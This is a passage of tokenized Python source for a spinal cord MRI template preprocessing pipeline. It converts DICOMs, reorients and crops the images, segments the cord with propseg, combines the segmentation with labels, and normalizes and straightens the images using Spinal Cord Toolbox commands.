" ", "import", "ed", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "list", "\\u", "file_", "=_", "os_", "._", "listdir_", "(_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "subject", "s", "/'_", "+_", "subject_", "+_", "'/'_", "+_", "contrast", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "data", ".", "ni", "i", ".", "gz", "'_", "not_", "in_", "list", "\\u", "file_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'\\\\", "n", "Import", "ing", " ", "dicom", "s", " ", "and", " ", "convert", "ing", " ", "to", " ", "ni", "i", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "contrast", "_", "==_", "'", "T1", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sct", "_", "._", "run_", "(_", "'", "dcm", "2n", "ii", " ", "-", "o", " ", ".", " ", "-", "r", " ", "N", " ", "'_", "+_", "SUBJECT", "S", "\\u", "LIST_", "[_", "i_", "]_", "[_", "1_", "]_", "+_", "'/*", ".", "dcm", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "contrast", "_", "==_", "'", "T2", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sct", "_", "._", "run_", "(_", "'", "dcm", "2n", "ii", " ", "-", "o", " ", ".", " ", "-", "r", " ", "N", " ", "'_", "+_", "SUBJECT", "S", "\\u", "LIST_", "[_", "i_", "]_", "[_", "2_", "]_", "+_", "'/*", ".", "dcm", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "change", " ", "file", " ", "name_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "'\\\\", "n", "Chang", "ing", " ", "file", " ", "name", " ", "to", " ", "data", ".", "ni", "i", ".", "gz", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sct", "_", "._", "run_", "(_", "'", "mv", " ", "*.", "ni", "i", ".", "gz", " ", "data", ".", "ni", "i", ".", "gz", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Convert", " ", "to", " ", "RP", "I_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Inp", "ut", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-", " ", "data", ".", "ni", "i", ".", "gz_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-", " ", "data\\u", "RP", "I", ".", "ni", "i", ".", "gz_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "'\\\\", "n", "Converti", "ng", " ", "to", " ", "RP", "I", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sct", "_", "._", "run_", "(_", "'", "sct", "\\u", "image", " ", "-", "i", " ", "data", ".", "ni", "i", ".", "gz", " ", "-", "seto", "rien", "t", " ", "RP", "I", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "info", " ", "from", " ", "txt", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "n", "Recover", " ", "infos", " ", "from", " ", "text", " ", "file", "'_", "+_", "PATH", "\\u", "INFO_", "+_", "'/'_", "+_", "contrast", "_", "+_", "'/'_", "+_", "subject_", "+_", "'/'_", "+_", "'", "crop", ".", "txt", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "\\u", "name_", "=_", "'", "crop", ".", "txt", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "chdir_", "(_", "PATH", "\\u", "INFO_", "+_", "'/'_", "+_", "contrast", "_", "+_", "'/'_", "+_", "subject_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "file", "\\u", "results_", "=_", "open_", "(_", "PATH", "\\u", "INFO_", "+_", "'/'_", "+_", "contrast", "_", "+_", "'/'_", "+_", "subject_", "+_", "'/'_", "+_", "file", "\\u", "name_", ",_", "'", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ymin", "\\u", "anat", "omic", "_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ymax", "\\u", "anat", "omic", "_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "line_", "in_", "file", "\\u", "results_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "line", "\\u", "list_", "=_", "line_", "._", "split_", "(_", "','_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "zmin", "\\u", "anat", "omic", "_", "=_", "line_", "._", "split_", "(_", "','_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "zmax", "\\u", "anat", "omic", "_", "=_", "line_", "._", "split_", "(_", "','_", ")_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "zmin", "\\u", "seg_", "=_", "line_", "._", "split_", "(_", "','_", ")_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "zmax", "\\u", "seg_", "=_", "line_", "._", "split_", "(_", "','_", ")_", "[_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "line", "\\u", "list_", ")_", "==_", "6_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ymin", "\\u", "anat", "omic", "_", "=_", "line_", "._", "split_", "(_", "','_", ")_", "[_", "4_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ymax", "\\u", "anat", "omic", "_", "=_", "line_", "._", "split_", "(_", "','_", ")_", "[_", "5_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "file", "\\u", "results_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "chdir_", "(_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "subject", "s", "/'_", "+_", "subject_", "+_", "'/'_", "+_", "contrast", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Cro", "p", " ", "image_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "n", "Cro", "ppi", "ng", " ", "image", " ", "at", " ", "L", "2", "-", "L3", " ", "and", " ", "a", " ", "litt", "le", " ", "above", " ", "brain", "stem", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ymin", "\\u", "anat", "omic", "_", "==_", "None_", "and_", "ymax", "\\u", "anat", "omic", "_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sct", "_", "._", "run_", "(_", "'", "sct", "\\u", "crop", "\\u", "image", " ", "-", "i", " ", "data\\u", "RP", "I", ".", "ni", "i", ".", "gz", " ", "-", "o", " ", "data\\u", "RP", "I", "\\u", "crop", ".", "ni", "i", ".", "gz", " ", "-", "dim", " ", "2", " ", "-", "start", " ", "'_", "+_", "zmin", "\\u", "anat", "omic", "_", "+_", "'", " ", "-", "end", " ", "'_", "+_", "zmax", "\\u", "anat", "omic", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "sct", "_", "._", "run_", "(_", "'", "sct", "\\u", "crop", "\\u", "image", " ", "-", "i", " ", "data\\u", "RP", "I", ".", "ni", "i", ".", "gz", " ", "-", "o", " ", "data\\u", "RP", "I", "\\u", "crop", ".", "ni", "i", ".", "gz", " ", "-", "dim", " ", "1", ",", "2", " ", "-", "start", " ", "'_", "+_", "ymin", "\\u", "anat", "omic", "_", "+_", "','_", "+_", "zmin", "\\u", "anat", "omic", "_", "+_", "'", " ", "-", "end", " ", "'_", "+_", "ymax", "\\u", "anat", "omic", "_", "+_", "','_", "+_", "zmax", "\\u", "anat", "omic", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "props", "eg_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "input", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-", " ", "data\\u", "RP", "I", "\\u", "crop", ".", "ni", "i", ".", "gz_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-", " ", "labels", "\\u", "props", "eg", ".", "ni", "i", ".", "gz_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "output", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-", " ", "data\\u", "RP", "I", "\\u", "crop", "\\u", "seg", ".", "ni", "i", ".", "gz_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "n", "Extract", "ing", " ", "segmentation", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "list", "\\u", "dir_", "=_", "os_", "._", "listdir_", "(_", "PATH", "\\u", "INFO_", "+_", "'/'_", "+_", "contrast", "_", "+_", "'/'_", "+_", "subject_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "center", "line", "\\u", "pros", "eg_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", "in_", "range_", "(_", "len_", "(_", "list", "\\u", "dir_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "list", "\\u", "dir_", "[_", "k_", "]_", "==_", "'", "center", "line", "\\u", "props", "eg", "\\u", "RP", "I", ".", "ni", "i", ".", "gz", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "center", "line", "\\u", "pros", "eg_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "center", "line", "\\u", "pros", "eg_", "==_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "contrast", "_", "==_", "'", "T1", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sct", "_", "._", "run_", "(_", "'", "sct", "\\u", "props", "eg", " ", "-", "i", " ", "data\\u", "RP", "I", "\\u", "crop", ".", "ni", "i", ".", "gz", " ", "-", "t", " ", "t1", " ", "-", "init", "-", "center", "line", " ", "'_", "+_", "PATH", "\\u", "INFO_", "+_", "'/'_", "+_", "contrast", "_", "+_", "'/'_", "+_", "subject_", "+_", "'/", "center", "line", "\\u", "props", "eg", "\\u", "RP", "I", ".", "ni", "i", ".", "gz", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "contrast", "_", "==_", "'", "T2", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sct", "_", "._", "run_", "(_", "'", "sct", "\\u", "props", "eg", " ", "-", "i", " ", "data\\u", "RP", "I", "\\u", "crop", ".", "ni", "i", ".", "gz", " ", "-", "t", " ", "t2", " ", "-", "init", "-", "center", "line", " ", "'_", "+_", "PATH", "\\u", "INFO_", "+_", "'/'_", "+_", "contrast", "_", "+_", "'/'_", "+_", "subject_", "+_", "'/", "center", "line", "\\u", "props", "eg", "\\u", "RP", "I", ".", "ni", "i", ".", "gz", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "contrast", "_", "==_", "'", "T1", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sct", "_", "._", "run_", "(_", "'", "sct", "\\u", "props", "eg", " ", "-", "i", " ", "data\\u", "RP", "I", "\\u", "crop", ".", "ni", "i", ".", "gz", " ", "-", "t", " ", "t1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "contrast", "_", "==_", "'", "T2", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sct", "_", "._", "run_", "(_", "'", "sct", "\\u", "props", "eg", " ", "-", "i", " ", "data\\u", "RP", "I", "\\u", "crop", ".", "ni", "i", ".", "gz", " ", "-", "t", " ", "t2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Erase", " ", "3", " ", "top", " ", "and", " ", "3", " ", "bottom", " ", "slice", "s", " ", "of", " ", "the", " ", "segmentation", " ", "to", " ", "avoid", " ", "edge", " ", "effect", "s", " ", " ", "(", "Don", "e", " ", "bec", "aus", "e", " ", "props", "eg", " ", "tend", "s", " ", "to", " ", "dive", "rge", " ", "on", " ", "edge", "s", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "'\\\\", "n", "Er", "asin", "g", " ", "3", " ", "top", " ", "and", " ", "3", " ", "bottom", " ", "slice", "s", " ", "of", " ", "the", " ", "segmentation", " ", "to", " ", "avoid", " ", "edge", " ", "effect", "s", " ", "of", " ", "props", "eg", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path", "\\u", "seg_", ",_", "file", "\\u", "seg_", ",_", "ext", "\\u", "seg_", "=_", "sct", "_", "._", "extract", "\\u", "fname_", "(_", "'", "data\\u", "RP", "I", "\\u", "crop", "\\u", "seg", ".", "ni", "i", ".", "gz", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "image", "\\u", "seg_", "=_", "nib", "abel_", "._", "load_", "(_", "'", "data\\u", "RP", "I", "\\u", "crop", "\\u", "seg", ".", "ni", "i", ".", "gz", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "msc", "t", "\\u", "image_", "import_", "Image_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nx_", ",_", "ny_", ",_", "nz_", ",_", "nt_", ",_", "px_", ",_", "py_", ",_", "pz", "_", ",_", "pt_", "=_", "Image_", "(_", "'", "data\\u", "RP", "I", "\\u", "crop", "\\u", "seg", ".", "ni", "i", ".", "gz", "'_", ")_", "._", "dim_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data\\u", "seg_", "=_", "image", "\\u", "seg_", "._", "get", "\\u", "data_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hdr", "\\u", "seg_", "=_", "image", "\\u", "seg_", "._", "get", "\\u", "header_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "List", " ", "slice", "s", " ", "tha", "t", " ", "contain", " ", "non", " ", "zero", " ", "values_", "\\u\\u\\uNL\\u\\u\\u_", "z", "\\u", "center", "line_", "=_", "[_", "iz_", "for_", "iz_", "in_", "range_", "(_", "0_", ",_", "nz_", ",_", "1_", ")_", "if_", "data\\u", "seg_", "[_", ":_", ",_", ":_", ",_", "iz_", "]_", "._", "any_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", "in_", "range_", "(_", "0_", ",_", "3_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data\\u", "seg_", "[_", ":_", ",_", ":_", ",_", "z", "\\u", "center", "line_", "[_", "-_", "1_", "]_", "-_", "k_", "]_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "z", "\\u", "center", "line_", "[_", "0_", "]_", "+_", "k_", "<_", "nz_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data\\u", "seg_", "[_", ":_", ",_", ":_", ",_", "z", "\\u", "center", "line_", "[_", "0_", "]_", "+_", "k_", "]_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "img", "\\u", "seg_", "=_", "nib", "abel_", "._", "Ni", "fti", "1", "Image_", "(_", "data\\u", "seg_", ",_", "None_", ",_", "hdr", "\\u", "seg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nib", "abel_", "._", "save_", "(_", "img", "\\u", "seg_", ",_", "file", "\\u", "seg_", "+_", "'\\u", "mod", "'_", "+_", "ext", "\\u", "seg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "crop", " ", "segmentation", " ", "(", "but", " ", "keep", " ", "same", " ", "dimension", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "input", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-", " ", "data\\u", "crop", "\\u", "deno", "ise", "d\\u", "seg", "\\u", "mod", ".", "ni", "i", ".", "gz_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-", " ", "crop", ".", "txt_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "output", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-", " ", "data\\u", "crop", "\\u", "deno", "ise", "d\\u", "seg", "\\u", "mod", "\\u", "crop", ".", "ni", "i", ".", "gz_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "n", "Cro", "ppi", "ng", " ", "segmentation", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "zmax", "\\u", "seg_", "==_", "'", "max", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nx_", ",_", "ny_", ",_", "nz_", ",_", "nt_", ",_", "px_", ",_", "py_", ",_", "pz", "_", ",_", "pt_", "=_", "Image_", "(_", "'", "data\\u", "RP", "I", "\\u", "crop", "\\u", "seg", ".", "ni", "i", ".", "gz", "'_", ")_", "._", "dim_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sct", "_", "._", "run_", "(_", "'", "sct", "\\u", "crop", "\\u", "image", " ", "-", "i", " ", "data\\u", "RP", "I", "\\u", "crop", "\\u", "seg", "\\u", "mod", ".", "ni", "i", ".", "gz", " ", "-", "o", " ", "data\\u", "RP", "I", "\\u", "crop", "\\u", "seg", "\\u", "mod", "\\u", "crop", ".", "ni", "i", ".", "gz", " ", "-", "start", " ", "'_", "+_", "zmin", "\\u", "seg_", "+_", "'", " ", "-", "end", " ", "'_", "+_", "str_", "(_", "nz_", ")_", "+_", "'", " ", "-", "dim", " ", "2", " ", "-", "b", " ", "0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sct", "_", "._", "run_", "(_", "'", "sct", "\\u", "crop", "\\u", "image", " ", "-", "i", " ", "data\\u", "RP", "I", "\\u", "crop", "\\u", "seg", "\\u", "mod", ".", "ni", "i", ".", "gz", " ", "-", "o", " ", "data\\u", "RP", "I", "\\u", "crop", "\\u", "seg", "\\u", "mod", "\\u", "crop", ".", "ni", "i", ".", "gz", " ", "-", "start", " ", "'_", "+_", "zmin", "\\u", "seg_", "+_", "'", " ", "-", "end", " ", "'_", "+_", "zmax", "\\u", "seg_", "+_", "'", " ", "-", "dim", " ", "2", " ", "-", "b", " ", "0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Concat", "enat", "e", " ", "segmentation", " ", "and", " ", "labels", "\\u", "upd", "own", " ", "if", " ", "labels", "\\u", "upd", "own", " ", "is", " ", "input", "ed", ".", " ", "If", " ", "not", ",", " ", "it", " ", "concatenate", "s", " ", "the", " ", "segmentation", " ", "and", " ", "center", "line", "\\u", "props", "eg", "\\u", "RP", "I", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "'\\\\", "n", "Concat", "enat", "ing", " ", "segmentation", " ", "and", " ", "label", " ", "files", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "labels", "\\u", "upd", "own_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "list", "\\u", "file", "\\u", "info_", "=_", "os_", "._", "listdir_", "(_", "PATH", "\\u", "INFO_", "+_", "'/'_", "+_", "contrast", "_", "+_", "'/'_", "+_", "subject_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", "in_", "range_", "(_", "0_", ",_", "len_", "(_", "list", "\\u", "file", "\\u", "info_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "list", "\\u", "file", "\\u", "info_", "[_", "k_", "]_", "==_", "'", "labels", "\\u", "upd", "own", ".", "ni", "i", ".", "gz", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "labels", "\\u", "upd", "own_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "center", "line", "\\u", "pros", "eg_", "==_", "False_", "and_", "labels", "\\u", "upd", "own_", "==_", "False_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'\\\\", "n", "ERROR", ":", " ", "No", " ", "label", " ", "file", " ", "center", "line", "\\u", "props", "eg", "\\u", "RP", "I", ".", "ni", "i", ".", "gz", " ", "or", " ", "labels", "\\u", "upd", "own", ".", "ni", "i", ".", "gz", " ", "in", " ", "'_", "+_", "PATH", "\\u", "INFO_", "+_", "'/'_", "+_", "contrast", "_", "+_", "'/'_", "+_", "subject_", "+_", "'.", " ", "There", " ", "must", " ", "be", " ", "at", " ", "leas", "t", " ", "one", ".", " ", "Check", " ", "'_", "+_", "path", "\\u", "sct", "_", "+_", "'/", "dev", "/", "template", "\\u", "preproc", "essi", "ng", "/", "Read", "me", ".", "md", " ", "for", " ", "necessar", "y", " ", "inputs", ".'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "labels", "\\u", "upd", "own_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Creat", "ion", " ", "of", " ", "center", "line", " ", "from", " ", "seg", " ", "and", " ", "labels", " ", "for", " ", "intensity", " ", "normaliza", "tion", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'\\\\", "n", "Extract", "ing", " ", "center", "line", " ", "for", " ", "intensity", " ", "normaliza", "tion", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sct", "_", "._", "run_", "(_", "'", "sct", "\\u", "get", "\\u", "center", "line", " ", "-", "i", " ", "data\\u", "RP", "I", "\\u", "crop", "\\u", "seg", "\\u", "mod", "\\u", "crop", ".", "ni", "i", ".", "gz", " ", "-", "method", " ", "labels", " ", "-", "l", " ", "'_", "+_", "PATH", "\\u", "INFO_", "+_", "'/'_", "+_", "contrast", "_", "+_", "'/'_", "+_", "subject_", "+_", "'/", "labels", "\\u", "upd", "own", ".", "ni", "i", ".", "gz", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sct", "_", "._", "run_", "(_", "'", "fs", "lma", "ths", " ", "data\\u", "RP", "I", "\\u", "crop", "\\u", "seg", "\\u", "mod", "\\u", "crop", ".", "ni", "i", ".", "gz", " ", "-", "add", " ", "'_", "+_", "PATH", "\\u", "INFO_", "+_", "'/'_", "+_", "contrast", "_", "+_", "'/'_", "+_", "subject_", "+_", "'/", "labels", "\\u", "upd", "own", ".", "ni", "i", ".", "gz", " ", "seg", "\\u", "and", "\\u", "labels", ".", "ni", "i", ".", "gz", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sct", "_", "._", "run_", "(_", "'", "sct", "\\u", "get", "\\u", "center", "line", " ", "-", "i", " ", "data\\u", "RP", "I", "\\u", "crop", "\\u", "seg", "\\u", "mod", "\\u", "crop", ".", "ni", "i", ".", "gz", " ", "-", "method", " ", "labels", " ", "-", "l", " ", "'_", "+_", "PATH", "\\u", "INFO_", "+_", "'/'_", "+_", "contrast", "_", "+_", "'/'_", "+_", "subject_", "+_", "'/", "center", "line", "\\u", "props", "eg", "\\u", "RP", "I", ".", "ni", "i", ".", "gz", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sct", "_", "._", "run_", "(_", "'", "fs", "lma", "ths", " ", "data\\u", "RP", "I", "\\u", "crop", "\\u", "seg", "\\u", "mod", "\\u", "crop", ".", "ni", "i", ".", "gz", " ", "-", "add", " ", "'_", "+_", "PATH", "\\u", "INFO_", "+_", "'/'_", "+_", "contrast", "_", "+_", "'/'_", "+_", "subject_", "+_", "'/", "center", "line", "\\u", "props", "eg", "\\u", "RP", "I", ".", "ni", "i", ".", "gz", " ", "seg", "\\u", "and", "\\u", "labels", ".", "ni", "i", ".", "gz", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Normal", "isat", "ion", " ", "of", " ", "intensity", " ", "with", " ", "center", "line", " ", "bef", "ore", " ", "straight", "eni", "ng", " ", "(", "pb", " ", "of", " ", "brain", "stem", " ", "with", " ", "bad", " ", "center", "line", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "'\\\\", "n", "Normal", "izi", "ng", " ", "intensity", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sct", "_", "._", "run_", "(_", "'", "sct", "\\u", "normali", "ze", ".", "py", " ", "-", "i", " ", "data\\u", "RP", "I", "\\u", "crop", ".", "ni", "i", ".", "gz", " ", "-", "c", " ", "generat", "ed", "\\u", "center", "line", ".", "ni", "i", ".", "gz", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "straight", "en", " ", "image", " ", "usi", "ng", " ", "the", " ", "concate", "nati", "on", " ", "of", " ", "the", " ", "segmentation", " ", "and", " ", "the", " ", "labels_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "function", ":", " ", "sct", "\\u", "straight", "en", "\\u", "spin", "alc", "ord", " ", "(", "option", ":", " ", "nur", "bs", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "input", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-", " ", "data\\u", "crop", "\\u", "normali", "zed", ".", "ni", "i", ".", "gz_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "output", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-", " ", "warp", "\\u", "curve", "2s", "tra", "ight", ".", "ni", "i", ".", "gz_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-", " ", "data\\u", "RP", "I", "\\u", "crop", "\\u", "normali", "zed", "\\u", "straight", ".", "ni", "i", ".", "gz_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "n", "Strai", "ghte", "ning", " ", "image", " ", "usi", "ng", " ", "center", "line", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmd", "\\u", "straight", "en_", "=_", "(_", "'", "sct", "\\u", "straight", "en", "\\u", "spin", "alc", "ord", " ", "-", "i", " ", "data\\u", "RP", "I", "\\u", "crop", "\\u", "normali", "zed", ".", "ni", "i", ".", "gz", " ", "-", "s", " ", "'_", "+_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "subject", "s", "/'_", "+_", "subject_", "+_", "'/'_", "+_", "contrast", "_", "+_", "'/", "seg", "\\u", "and", "\\u", "labels", ".", "ni", "i", ".", "gz", " ", "-", "o", " ", "data\\u", "RP", "I", "\\u", "crop", "\\u", "normali", "zed", "\\u", "straight", ".", "ni", "i", ".", "gz", " ", "'_", "+_", "straight", "eni", "ng", "\\u", "parameters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "sct", ".", "print", "v", "(", 